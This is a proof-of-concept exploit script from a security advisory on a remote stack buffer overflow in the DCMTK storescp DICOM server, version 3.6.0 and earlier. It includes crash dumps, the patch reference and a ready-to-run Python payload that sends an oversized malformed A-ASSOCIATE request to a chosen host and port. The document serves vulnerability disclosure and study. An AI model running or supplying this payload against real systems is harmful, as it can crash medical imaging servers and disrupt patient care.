#!/usr/bin/env python
# -*- coding: utf8 -*-
#
#
# DCMTK storescp DICOM storage (C-STORE) SCP Remote Stack Buffer Overflow
#
#
# Vendor: OFFIS e. V.
# Product web page: http://www.dcmtk.org
# Affected version: <= 3.6.0
# Not affected: DCMTK-3.6.1_20160216 - https://github.com/commontk/DCMTK/commit/1b6bb76
#
# http://www.idoimaging.com/programs?order=program.rdate&
#
# Summary: DCMTK is a collection of libraries and applications implementing large
# parts the DICOM standard. It includes software for examining, constructing and
# converting DICOM image files, handling offline media, sending and receiving images
# over a network connection, as well as demonstrative image storage and worklist
# servers. DCMTK is is written in a mixture of ANSI C and C++. It comes in complete
# source code and is made available as "open source" software.
#
# Desc: "At several places in the code a wrong length of ACSE data structures received
# over the network can cause overflows or underflows when processing those
# data structures. Related checks have been added at various places in order
# to prevent such (possible) attacks. Thanks to Kevin Basista for the report."
#
# The bug will indeed affect all DCMTK-based server applications that accept incoming
# DICOM network connections that are using the dcmtk-3.6.0 and earlier versions.
# Developers are advised to apply the patched-DCMTK-3.6.1_20160216 fix commit from
# Dec 14, 2015.
#
# ---------------------------------------------------------------------------------
#
# Process 27765 stopped
# * thread #1: tid = 0x3e4b46, 0x00000001000a6f1d storescp`parsePresentationContext(unsigned char, dul_presentationcontext*, unsigned char*, unsigned long*, unsigned long) + 3325, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x10380001b)
# frame #0: 0x00000001000a6f1d storescp`parsePresentationContext(unsigned char, dul_presentationcontext*, unsigned char*, unsigned long*, unsigned long) + 3325
# storescp`parsePresentationContext:
# -> 0x1000a6f1d <+3325>: movb (%rax), %al
# 0x1000a6f1f <+3327>: movzbl %al, %eax
# 0x1000a6f22 <+3330>: cmpl $0x40, %eax
# 0x1000a6f25 <+3333>: movl %eax, -0xa74(%rbp)
# (lldb) re r
# General Purpose Registers:
# rax = 0x000000010380001b
# rbx = 0x0000000000000000
# rcx = 0x00000001002d40f0 vtable for log4cplus::spi::AppenderAttachable + 16
# rdx = 0x0000000000000010
# rdi = 0x00007fff5fbf78a0
# rsi = 0x3f7bc30000000000
# rbp = 0x00007fff5fbf7b30
# rsp = 0x00007fff5fbf7030
# r8 = 0x0000000100733918
# r9 = 0x00000000003e4b46
# r10 = 0x0000000100733920
# r11 = 0xffffffff00000000
# r12 = 0x0000000000000000
# r13 = 0x0000000000000000
# r14 = 0x0000000000000000
# r15 = 0x0000000000000000
# rip = 0x00000001000a6f1d storescp`parsePresentationContext(unsigned char, dul_presentationcontext*, unsigned char*, unsigned long*, unsigned long) + 3325
# rflags = 0x0000000000010246
# cs = 0x000000000000002b
# fs = 0x0000000000000000
# gs = 0x0000000000000000
#
# (lldb)
#
# =====
#
# ➜ bin ./storescp -d 4242
# D: $dcmtk: storescp v3.6.0 2011-01-06 $
# D:
# D: setting network receive timeout to 60 seconds
# D: PDU Type: Associate Request, PDU Length: 32881 + 6 bytes PDU header
# D: Only dumping 512 bytes.
# D: 01 00 00 00 80 71 00 01 00 00 4f 52 54 48 41 4e
# D: 43 20 20 20 20 20 20 20 20 20 54 45 53 54 53 55
# D: 49 54 45 00 00 00 00 00 00 00 00 00 00 00 00 00
# D: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
# D: 00 00 00 00 00 00 00 00 00 00 10 00 00 15 31 2e
# D: 32 2e 38 34 30 2e 31 30 30 30 38 2e 33 2e 31 2e
# D: 31 2e 31 20 00 80 00 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41
# D:
# D: Parsing an A-ASSOCIATE PDU
# [1] 25553 segmentation fault ./storescp -d 4242
# ➜ bin
#
# ---------------------------------------------------------------------------------
#
# Tested on: Microsoft Windows 7 Professional SP1 (EN)
# Microsoft Windows 7 Ultimate SP1 (EN)
# MacOS X 10.12.2 Sierra
# Linux Ubuntu 14.04.5
# FreeBSD 10.3
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2016-5384
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5384.php
#
#
# 22.11.2016
#
import socket, sys
hello = ('\x01\x00\x00\x00\x80\x71\x00\x01\x00\x00\x4f\x52\x54\x48'
'\x41\x4e\x43\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4a\x4f'
'\x58\x59\x50\x4f\x58\x59\x21\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x10\x00\x00\x15\x31\x2e\x32\x2e\x38\x34'
'\x30\x2e\x31\x30\x30\x30\x38\x2e\x33\x2e\x31\x2e\x31\x2e'
'\x31\x20\x00\x80\x00')
bye = ('\x50\x00\x00\x0c\x51\x00\x00\x04\x00\x00\x07\xde'
'\x52\x00\x00\x00')
buffer = '\x41\x42\x43\x44' * 10000
if len(sys.argv) < 3:
print '\nUsage: ' +sys.argv[0]+ ' <target> <port>'
print 'Example: ' +sys.argv[0]+ ' 172.19.0.214 4242\n'
sys.exit(0)
host = sys.argv[1]
port = int(sys.argv[2])
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host, port))
s.settimeout(251)
s.send(hello+buffer+bye)
s.close
